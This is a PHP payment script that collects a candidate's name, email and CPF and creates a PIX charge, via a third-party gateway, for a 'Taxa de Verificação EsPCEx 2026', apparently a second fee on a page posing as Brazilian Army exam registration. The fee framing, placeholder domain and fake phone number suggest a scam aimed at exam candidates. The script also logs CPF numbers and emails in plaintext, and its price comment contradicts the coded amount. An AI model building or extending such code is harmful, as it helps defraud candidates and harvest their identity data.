<?php
// =====================================================
// pagar2.php — gera pagamento PIX para página de finalização
// =====================================================
require_once __DIR__ . '/config.php';

// Log embutido — não depende de debug_log.php
function log_debug2(string $ctx, $dados): void {
    $f = __DIR__ . '/pagamento_debug.log';
    $l = '[' . date('Y-m-d H:i:s') . '] [' . $ctx . '] ' . json_encode($dados, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT) . "\n---\n";
    @file_put_contents($f, $l, FILE_APPEND | LOCK_EX);
}

header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit; }
if ($_SERVER['REQUEST_METHOD'] !== 'POST')    { http_response_code(405); echo json_encode(['erro'=>'Método não permitido.']); exit; }

$body  = file_get_contents('php://input');
$dados = json_decode($body, true);

log_debug2('PAGAR2 - ENTRADA', ['parsed' => $dados, 'ip' => $_SERVER['REMOTE_ADDR'] ?? '']);

if (!$dados) {
    log_debug2('PAGAR2 - ERRO', ['motivo' => 'JSON inválido', 'body' => $body]);
    http_response_code(400); echo json_encode(['erro'=>'Dados inválidos.']); exit;
}

$nome     = trim($dados['nome']  ?? 'Candidato');
$email    = trim($dados['email'] ?? '');
$cpf      = preg_replace('/\D/', '', $dados['cpf'] ?? '');
$telefone = '11999999999';

$erros = [];
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) $erros[] = 'E-mail inválido.';
if (strlen($cpf) !== 11)                        $erros[] = 'CPF inválido.';
if (!empty($erros)) {
    log_debug2('PAGAR2 - VALIDAÇÃO FALHOU', ['erros' => $erros, 'email' => $email, 'cpf_len' => strlen($cpf)]);
    http_response_code(422); echo json_encode(['erro'=>implode(' ', $erros)]); exit;
}

$taxa2Valor    = 5790; // R$ 47,90
$taxa2Descricao = 'Taxa de Verificação EsPCEx 2026';

$payload = [
    'store_code'      => MANGOFY_STORE_CODE,
    'payment_method'  => 'pix',
    'payment_format'  => 'regular',
    'external_code'   => 'ESPCEX2-' . strtoupper(substr(md5($email . time()), 0, 12)),
    'installments'    => 1,
    'postback_url'    => 'https://seusite.com.br/postback.php',
    'payment_amount'  => $taxa2Valor,
    'shipping_amount' => 0,
    'items'           => [[
        'name'     => $taxa2Descricao,
        'quantity' => 1,
        'amount'   => $taxa2Valor,
    ]],
    'customer' => [
        'name'     => $nome,
        'email'    => $email,
        'document' => $cpf,
        'phone'    => $telefone,
        'ip'       => $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0',
    ],
    'pix' => ['expires_in_days' => 1],
];

log_debug2('PAGAR2 - PAYLOAD ENVIADO', $payload);

$ch = curl_init(MANGOFY_API_URL);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => json_encode($payload),
    CURLOPT_HTTPHEADER     => [
        'Authorization: ' . MANGOFY_API_KEY,
        'Store-Code: '    . MANGOFY_STORE_CODE,
        'Content-Type: application/json',
        'Accept: application/json',
    ],
    CURLOPT_TIMEOUT        => 30,
    CURLOPT_SSL_VERIFYPEER => true,
]);

$resposta   = curl_exec($ch);
$httpStatus = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlErro   = curl_error($ch);
curl_close($ch);

log_debug2('PAGAR2 - RESPOSTA MANGOFY', [
    'http_status'  => $httpStatus,
    'curl_erro'    => $curlErro ?: null,
    'resposta_raw' => $resposta,
]);

if ($curlErro) {
    http_response_code(502);
    echo json_encode(['erro' => 'Falha de conexão: ' . $curlErro]);
    exit;
}

$r = json_decode($resposta, true);
if (isset($r['data'])) $r = $r['data'];

if ($httpStatus >= 400) {
    log_debug2('PAGAR2 - GATEWAY ERRO', ['status' => $httpStatus, 'body' => $r]);
    http_response_code(502);
    echo json_encode(['erro' => $r['message'] ?? $r['error'] ?? 'Erro no gateway (HTTP ' . $httpStatus . ').']);
    exit;
}

$pixBlock  = $r['pix'] ?? $r;
$copiaCola = $pixBlock['pix_qrcode_text'] ?? $pixBlock['qr_code']     ?? $pixBlock['copy_paste']
           ?? $pixBlock['copia_e_cola']   ?? $pixBlock['pix_code']    ?? $pixBlock['emv']
           ?? $pixBlock['payload']        ?? null;

if (!$copiaCola) {
    array_walk_recursive($r, function($v, $k) use (&$copiaCola) {
        if (!$copiaCola && is_string($v) && strlen($v) > 50 && strpos($v, '000201') === 0) {
            $copiaCola = $v;
        }
    });
}

$saida = [
    'sucesso'        => true,
    'payment_code'   => $r['payment_code']   ?? null,
    'status'         => $r['payment_status'] ?? 'pending',
    'valor'          => $r['payment_amount'] ?? $taxa2Valor,
    'pix_copia_cola' => $copiaCola,
];

log_debug2('PAGAR2 - SAÍDA FRONT', $saida);
echo json_encode($saida);